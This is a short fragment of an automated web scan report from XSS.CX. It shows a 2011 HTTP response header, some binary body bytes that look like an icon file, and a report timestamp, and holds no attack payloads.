HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
ETag: W/"1406-1315296293000"
Last-Modified: Tue, 06 Sep 2011 08:04:53 GMT
Content-Length: 1406
Date: Mon, 19 Sep 2011 19:33:53 GMT

..............h.......(....... ...................................c,..k8..sA..{Q1..Q1..U1..]9..aB..eB..iJ..mJ..mR..yZ..}c...k...k...s...{...{...........................................................
...[SNIP]...

Report generated by XSS.CX at Wed Sep 21 17:07:22 CDT 2011.